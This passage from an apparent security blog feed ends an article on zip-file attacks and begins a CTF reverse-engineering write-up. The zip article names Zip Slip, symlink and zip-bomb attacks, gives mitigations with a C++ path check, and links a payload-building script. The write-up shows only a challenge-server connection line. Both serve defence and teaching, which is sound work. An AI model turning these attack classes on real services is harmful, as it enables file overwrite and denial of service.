&lt;h2 id=&quot;zip-vulnerabilities-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-vulnerabilities-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Vulnerabilities in the Wild&lt;/h2&gt;
&lt;p&gt;Here are some notable zip vulnerabilities in the past decade:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ostorlab.co/zip-packages-exploitation.html&quot;&gt;Multiple Zip Vulnerabilities across Flutter and Swift Packages&lt;/a&gt; (2023)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulners.com/prion/PRION:CVE-2021-23521&quot;&gt;Zip Symlink Vulnerability in Juce&lt;/a&gt; (2021)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2018-1000544&quot;&gt;Zip Slip&lt;/a&gt; (2018) and &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2019-16892/&quot;&gt;Metadata Spoofing&lt;/a&gt; (2019) in Rubyzip&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/snyk/zip-slip-vulnerability&quot;&gt;Zip Slip Bonanza in Multiple Languages/Frameworks/Packages&lt;/a&gt; (2018 - 2019)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keep in mind zip files come in different forms. Here are some you might be familiar with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.docx, .pptx, .xlsx (Microsoft Documents),&lt;/li&gt;
&lt;li&gt;.jar (Java Archive),&lt;/li&gt;
&lt;li&gt;.apk (Android App),&lt;/li&gt;
&lt;li&gt;.mscx (MuseScore File).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any service processing such files has potential to be vulnerable.&lt;/p&gt;
&lt;h2 id=&quot;mitigations-and-other-considerations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#mitigations-and-other-considerations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Mitigations and Other Considerations&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; href=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 4160 / 2340&quot; alt=&quot;Credit: Cybrain/Adobe Stock&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; srcset=&quot;https://trebledj.me/img/171212_cyber_Defense-256w.webp 256w, https://trebledj.me/img/171212_cyber_Defense-512w.webp 512w, https://trebledj.me/img/171212_cyber_Defense-1024w.webp 1024w, https://trebledj.me/img/171212_cyber_Defense-4160w.webp 4160w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 4160px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?&lt;/p&gt;
&lt;p&gt;Let&#39;s explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)&lt;/p&gt;
&lt;h3 id=&quot;permissions&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#permissions&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Permissions&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Input sanitisation? Never heard of it!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Input sanitisation? Never heard of it!&quot; title=&quot;Input sanitisation? Never heard of it!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol&gt;
&lt;li&gt;Avoid running applications as &lt;code&gt;root&lt;/code&gt; or &lt;code&gt;Administrator&lt;/code&gt;. Instead, run it with a minimum privilege user.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In America, &amp;quot;all men are created equal&amp;quot;. Not so in filesystems.&lt;/p&gt;
&lt;p&gt;Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot;&gt;Limitations of Zip Slip&lt;/a&gt; and &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations of Zip Symlink Attacks&lt;/a&gt; for details on relevant permissions.&lt;/p&gt;
&lt;h3 id=&quot;modern-antivirus&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#modern-antivirus&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modern Antivirus&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins and normies.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although zip bombs have targeted antivirus (AV) systems in the past, most &lt;a href=&quot;https://www.microsoft.com/en-us/windows/learning-center/what-is-a-zip-bomb#:~:text=most%20modern%20antivirus%20programs%20are%20able%20to%20find&quot;&gt;modern AV programs can detect zip bombs&lt;/a&gt; by recognising patterns and signatures.&lt;/p&gt;
&lt;h3 id=&quot;robust-code&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#robust-code&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Robust Code&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip applications/libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although &lt;code&gt;/../&lt;/code&gt; and symlinks can be used maliciously, they are technically allowed by the zip specification&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;. So... should your product implement protections against these? It depends.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;yes&lt;/strong&gt;, you should prevent the aforementioned tricks entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Are you developing a low-level unzip library, closely following the zip spec?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;not necessarily&lt;/strong&gt;, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Code: Malicious Actors Hate This One Simple Trick!&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;One common way to prevent arbitrary file write attacks is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;resolve the canonical path of the target file,&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; and&lt;/li&gt;
&lt;li&gt;verify the path is within the unzip directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For instance, Juce v6.1.5 &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R438-R440&quot;&gt;added such a check&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;fileToUnzip&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isAChildOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;directoryToUnzipTo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// Attack attempt detected: attempted write outside of unzip directory.&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Attack Vectors and Edge Cases to Consider&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For high-level unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Checklist of edge cases to consider.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;..&lt;/code&gt; (Zip Slip),&lt;/li&gt;
&lt;li&gt;symlinks (zip symlink attacks),&lt;/li&gt;
&lt;li&gt;potential uncompressed file size (especially if your application targets end-users or constrained systems).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Good Defaults&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For all unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Don&#39;t follow symlink directories.&lt;/li&gt;
&lt;li&gt;Don&#39;t overwrite files. You don&#39;t want your existing files wiped out, right?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s a good idea to keep these defaults, unless you really need these features, and you&#39;re confident with the level of risk you&#39;re dealing with.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;unit-tests&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#unit-tests&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Unit Tests&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Test cases prevent &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_regression&quot;&gt;software regression&lt;/a&gt; and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R700&quot;&gt;test case against Zip Slip&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;tl-dr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#tl-dr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tl;dr&lt;/h2&gt;
&lt;p&gt;A quick recap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are generally three streams of zip attacks:
&lt;ul&gt;
&lt;li&gt;Arbitrary File Write with Zip Slip&lt;/li&gt;
&lt;li&gt;Arbitrary File Read/Write with Zip Symlink Attacks&lt;/li&gt;
&lt;li&gt;Denial of Service with Zip Bombs and Metadata Spoofing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ways to counter zip attacks include:
&lt;ul&gt;
&lt;li&gt;(Sysadmins) Run applications with a &lt;em&gt;minimum-privilege&lt;/em&gt; user.&lt;/li&gt;
&lt;li&gt;(Regular Users, Sysadmins) Regularly update antiviruses with new signatures.&lt;/li&gt;
&lt;li&gt;(Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While zip files offer convenience and efficiency in compressing and sharing data, we shouldn&#39;t overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Anecdotes? Stories? New zip developments? Let me know by leaving a comment.&lt;/em&gt; 🙂&lt;/p&gt;
&lt;h2 id=&quot;other-references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#other-references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.pentesteracademy.com/from-zip-slip-to-system-takeover-8564433ea542&quot;&gt;PentesterAcademy: From Zip Slip to System Takeover&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20221213052327/https://thesecurityvault.com/attacks-with-zip-files-and-mitigations/&quot;&gt;SecurityVault: Attacks with Zip Files and Mitigations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/c5c9d469b77c6e4a4c061de59392c1e7&quot;&gt;zipattack.py&lt;/a&gt; - various functions to construct zip payloads in Python&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the file linked by the symlink&quot;&gt;source file&lt;/abbr&gt; and the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the directory containing the source file&quot;&gt;source directory&lt;/abbr&gt;. &lt;em&gt;&lt;strong&gt;If&lt;/strong&gt;&lt;/em&gt; we can read files in our upload directory &lt;strong&gt;and&lt;/strong&gt; if we have sufficient permissions, then we can (potentially) have arbitrary file read. See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/questions/40667014/linux-what-are-the-minimum-permissions-required-to-create-a-link-to-a-file&quot;&gt;SO: Minimum Permissions Required to Create a Link to a File&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There probably aren&#39;t as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Fifield&#39;s article on &amp;quot;a better zip bomb&amp;quot;: &lt;em&gt;https://www.bamsoftware.com/hacks/zipbomb/&lt;/em&gt;. (It may be blocked on some browsers.) &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot;&gt;PKWare Mirror&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Canonical path means no &lt;code&gt;./&lt;/code&gt;, no &lt;code&gt;../&lt;/code&gt;, no &lt;code&gt;~/&lt;/code&gt;, no symlinks. Just a directory built directly from &lt;code&gt;/&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>notes</category>
        
          <category>web</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>ctf</category>
        
          <category>linux</category>
        
          <category>windows</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HKCERT CTF 2023 – Decompetition: Vitamin C++</title>
        <description>A beginner-friendly writeup to reverse-engineering C++ a lá decompetition. Years of complex shenanigans condensed!</description>
        <link href="https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/"/>
        <updated>2023-11-16T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decompetition: Vitamin C++&lt;/em&gt; is a reverse engineering challenge in this year&#39;s HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to &lt;em&gt;derive the source code&lt;/em&gt; of a binary. This really tests our understanding of how the language is compiled into machine code.&lt;/p&gt;
&lt;p&gt;So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.&lt;/p&gt;
&lt;p&gt;If you want to follow along, you can grab the challenge here: &lt;a href=&quot;https://github.com/blackb6a/hkcert-ctf-2023-challenges/tree/master/57-decomp-cpp&quot;&gt;GitHub&lt;/a&gt; (&lt;a href=&quot;https://github.com/TrebledJ/ctf-binaries/tree/main/hkcert-2023/decompetition-vitamin-cpp&quot;&gt;Backup&lt;/a&gt;). I’ll also be relying on &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; as my decompiler, because I &lt;s&gt;am poor&lt;/s&gt; want to support open-source.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/harrier_lcc&quot;&gt;harrier&lt;/a&gt;&lt;br /&gt;
4/5 stars ⭐️. 5/311 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So let&#39;s learn reverse with Decompetition!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp&quot;&gt;STL&lt;/a&gt; is used everywhere, so it would be nice to be able to reverse them!&lt;/p&gt;
&lt;p&gt;Note there is an internal flag with flag format &lt;code&gt;internal{}&lt;/code&gt;. Please do not submit this directly to the platform.&lt;/p&gt;
&lt;p&gt;g++ version: g++ (Debian 12.2.0-14) 12.2.0&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; chal.hkcert23.pwnable.hk &lt;span class=&quot;token number&quot;&gt;28157&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And a note on testing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to run this locally, you can install all the prerequisite library with &lt;code&gt;pip&lt;/code&gt;, and run &lt;code&gt;python compiler trie.disasm&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; pyyaml capstone intervaltree pyelftools diff_match_patch&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Thus, to get the flag, we need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the source code (97.5% similarity).&lt;/li&gt;
&lt;li&gt;Obtain the internal flag by reversing the source code.&lt;/li&gt;
&lt;li&gt;Submit the internal flag (not to the platform, but to the remote connection).&lt;/li&gt;
&lt;li&gt;Profit!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(You can see this process play out in compiler.py.)&lt;/p&gt;
&lt;p&gt;The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.&lt;/p&gt;
&lt;p&gt;Let’s start by analysing what we’re given and how we can approach the problem. We&#39;ll aim for 100% similarity, but go step by step.&lt;/p&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;p&gt;Unzipping our bag of goodies, we’re given:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;compiler.py&lt;/strong&gt;. This is the backend doing all the compilation and diffing.
&lt;ul&gt;
&lt;li&gt;Only &lt;code&gt;TrieNode&lt;/code&gt; methods, &lt;code&gt;wordhash&lt;/code&gt;, and &lt;code&gt;main&lt;/code&gt; are diffed.&lt;/li&gt;
&lt;li&gt;Prior to compiling, our code is prefixed with some boilerplate (includes of &lt;code&gt;unordered_map&lt;/code&gt;, &lt;code&gt;string&lt;/code&gt;, and &lt;code&gt;iostream&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;build.sh&lt;/strong&gt;. Checks our code against bad patterns, and compiles the program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie&lt;/strong&gt;. This is the binary file of our target source code. Open this in your favourite decompiler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie.disasm&lt;/strong&gt;. This is the disassembly used by compiler.py for diffing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;flag.txt&lt;/strong&gt;. Read and printed by compiler.py after submitting the internal flag.&lt;/li&gt;
&lt;li&gt;A bunch of other Python files to make things work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Is there a way we can simplify the process?&lt;/p&gt;
&lt;p&gt;Inline assembly with &lt;code&gt;asm&lt;/code&gt;, &lt;code&gt;attribute&lt;/code&gt; trickery, and macros are disallowed.&lt;/p&gt;
&lt;p&gt;A quick Google search for TrieNodes resulted in disappointment. The &lt;code&gt;mix()&lt;/code&gt; function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.&lt;/p&gt;
&lt;p&gt;It appears the most productive approach is to tackle the problem head on.&lt;/p&gt;
